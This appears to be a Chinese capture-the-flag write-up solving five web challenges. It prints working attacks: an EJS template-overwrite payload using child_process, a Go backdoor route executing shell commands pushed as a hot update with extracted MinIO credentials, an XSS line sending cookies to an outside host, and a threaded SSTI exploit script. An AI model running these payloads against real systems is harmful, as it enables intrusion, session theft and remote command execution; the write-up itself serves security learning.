目录
- Level 24 Pacman
- Level 47 BandBomb
- Level 25 双面人派对
- Level 69 MysteryMessageBoard
- Level 38475 ⻆落
Level 24 Pacman
直接在js文件里面搜索score, 可以找到一个flag, 经过base64和栅栏解密可以发现是一个假的flag
在尝试搜索一下gift, 可以找到另一个flag, 依次解码就行
Level 47 BandBomb
题目给了源码
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
有文件上传, 重命名功能, 但是文件上传之后无法查看自己上传的文件, 进过测试可以发现在/rename
路由重命名存在路径穿越漏洞, 可以将上传的文件传到静态目录查看, 但是没啥作用
尝试将根目录/etc/passwd
放到静态目录查看, 发现是显示没有权限, 然后将/flag
重命名放到静态目录显示是没有这个文件, 所以看来应该是要去执行命令之类的
想到覆盖文件, 上传一个app.js文件覆盖之前的app.js文件, 但是也没有用, 没有办法使它执行
- EJS模板文件
什么是EJS模板文件?
EJS (Embedded JavaScript) 是一种轻量级的模板引擎,用于生成 HTML 页面。它允许在 HTML 中嵌入 JavaScript 代码,支持动态内容渲染,非常适合与 Node.js 一起使用。EJS 模板文件的扩展名通常是
.ejs
。
支持动态数据渲染。
支持模板继承和包括子模板。
使用
<% %>
作为特殊标记嵌入逻辑代码。基本语法:
输出数据到模板(转义 HTML 特殊字符)
<%= variable %>
示例:
<p>Hello, <%= user.name %>!</p>
如果
user.name = "John"
渲染结果为:
<p>Hello, John!</p>
输出数据到模板(不转义 HTML 特殊字符)
<%- variable %>
示例:
<p><%- htmlContent %></p>
如果
htmlContent = "<strong>Bold Text</strong>"
渲染结果为:
<p><strong>Bold Text</strong></p>
这种方式适合渲染包含 HTML 的内容。
执行 JavaScript 代码块
<% code %>
示例:
<% if (user.isLoggedIn) { %> <p>Welcome back, <%= user.name %>!</p> <% } else { %> <p>Please login.</p> <% } %>
注释(不会出现在渲染后的 HTML 中)
<%# This is a comment %>
包含子模板
<%- include('path/to/template', data) %>
示例:
<%- include('header', { title: 'My Page' }) %>
data
是传递给子模板的变量。
仔细查看代码
app.set('view engine', 'ejs');
Express框架中设置view engine
为ejs,意味着当使用res.render()
方法时,默认会查找扩展名为.ejs的模板文件
并且代码里面也是使用了res.render()
方法
res.render('mortis', { files: files });
可知在 views/
目录下存在mortis.ejs
模板文件, 那么只需要覆盖掉这个文件, 写入我们想要执行的EJS模板代码, 当模板被渲染时就可以执行执行恶意命令了
使用Node.js里面的child_process
模块执行命令
<%= process.mainModule.require('child_process').execSync('env') %>
或者直接拿flag:
<%= process.env.FLAG %>
上传mortis文件, 再重命名, 刷新一下页面就可以看到flag了
Level 25 双面人派对
给了两个url, 第二个直接给了一个main文件, 下载下来
直接运行一下
一个Go语言的框架
题目提示是找到那个女人, UPX加壳了, 需要IDA给它逆一下
可以拿到一些信息:
minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"
根据得到的信息, 下载mc客户端, 连接minio服务器,即添加一个云存储连接
查看一下目录, 可以发现一个src.zip
将src.zip下载下来, 可以拿到整个的源码
可以看到它的源码里面存在 github.com/jpillora/overseer
- 使用
overseer
库实现程序热更新(零停机重启) - 程序会自动拉取update文件
所以可以修改main.go
文件(让ai写一下) 上传上去, 覆盖update文件, 从而实现rce
package main
import (
"level25/fetch"
"level25/conf"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"net/http"
"os/exec" // 新增:用于执行系统命令
"runtime"
)
func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}
func program(state overseer.State) {
g := gin.Default()
// 添加恶意路由:通过 GET 参数执行系统命令
g.GET("/cmd", func(c *gin.Context) {
command := c.Query("cmd") // 从 URL 参数获取命令,如 /cmd?cmd=whoami
if command == "" {
c.String(http.StatusBadRequest, "需要提供 cmd 参数")
return
}
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd.exe", "/C", command)
} else {
cmd = exec.Command("/bin/sh", "-c", command)
}
output, err := cmd.CombinedOutput()
if err != nil {
c.String(http.StatusInternalServerError, "执行失败: %s\n输出: %s", err.Error(), string(output))
return
}
c.String(http.StatusOK, "命令输出:\n%s", string(output))
})
g.Run(":8080")
}
go build -o update main.go
编译一下
然后上传, 覆盖update
./mc cp src/update minio/prodbucket/update
就能执行命令拿到flag了
Level 69 MysteryMessageBoard
一个登录页面
shallot 要先登录才可以留言哦
显然用户名是 shallot
爆破一下密码, 发现是 888888
欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!
显然是xss类型的题目, 存在/admin路由和/flag路由, 查看/flag显示只能admin查看, 通过xss拿到admin的cookie, 再以admin的cookie替换自己的cookie就可以访问/flag路由拿到flag了
<script>location.href="http://ip/?cookie="+document.cookie</script>
MTc0MDM5ODQ5OXxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fEjIViOyrLyJItXh1k7Q30ceUu2J3pAJL7askEmcKf4E
Level 38475 ⻆落
扫目录可以发现robots.txt,给了一个/app.conf
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>
<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>
RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
ProxyPass "/app/" "http://127.0.0.1:5000/"
文章: https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/
根据题目给的路径(/usr/local/apache2/app/app.py
)读源码
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates
app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'
@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']
f = open(filename, 'w')
f.write(message)
f.close()
return redirect('index?status=Send successfully!!')
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)
很明显是打ssti, 通过竞争的方式拿到回显
import requests
import threading
url1="http://node1.hgame.vidar.club:31273/app/send"
url2="http://node1.hgame.vidar.club:31273/app/read"
def write():
data={"message":"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"}
res=requests.post(url1,data=data)
def read():
res=requests.get(url2)
if "Latest message" in res.text:
print(res.text)
threads=[]
for i in range(5):
t=threading.Thread(target=write)
threads.append(t)
t.start()
t=threading.Thread(target=read)
threads.append(t)
t.start()
for t in threads:
t.join()